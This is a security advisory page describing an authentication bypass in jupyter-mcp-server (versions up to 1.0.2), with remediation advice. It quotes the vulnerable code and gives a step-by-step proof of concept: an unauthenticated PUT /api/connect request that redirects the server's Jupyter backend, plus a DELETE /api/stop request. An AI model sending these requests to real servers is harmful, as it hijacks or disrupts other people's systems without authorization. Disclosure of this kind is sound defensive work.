
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 1.0.2
Patched in 1.0.3
Details
Standalone streamable-http mode in datalayer/jupyter-mcp-server requires MCP_TOKEN for /mcp, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke PUT /api/connect, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing DELETE /api/stop route.
The intended authentication boundary is documented in the security guide and enforced during startup:
docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.
docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.
The CLI enforces that boundary for the MCP endpoint:
# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
raise click.UsageError(
"streamable-http transport requires MCP client authentication. "
"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
"explicitly allow unauthenticated access."
)
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
if mcp_token:
from jupyter_mcp_server.server import RuntimeTokenVerifier
mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")
The vulnerable route is jupyter_mcp_server/server.py:143-187:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
/api/stop is also unauthenticated and state-changing:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
Run the affected version:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
Send a request to the protected MCP endpoint without credentials:
POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
Observed response:
HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"
Now send the unauthenticated management request:
PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_DIRECT",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_DIRECT"
}
Observed response:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
The server log shows that /api/connect accepted the attacker-chosen backend:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT
An attacker does not need the MCP_TOKEN to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected /mcp endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.
--insecure-mcp-noauth mode. The proof runs with MCP_TOKEN configured, and /mcp correctly returns 401 Unauthorized without it.0.0.0.0 bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to /mcp.Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:
MCP_TOKEN bearer token on /api/connect, /api/stop, /api/healthz, and any future custom route that reads or changes server state.127.0.0.1 by default, and require an explicit host allowlist for non-loopback listeners./api/connect and /api/stop reject missing bearer tokens and invalid bearer tokens.More pip advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.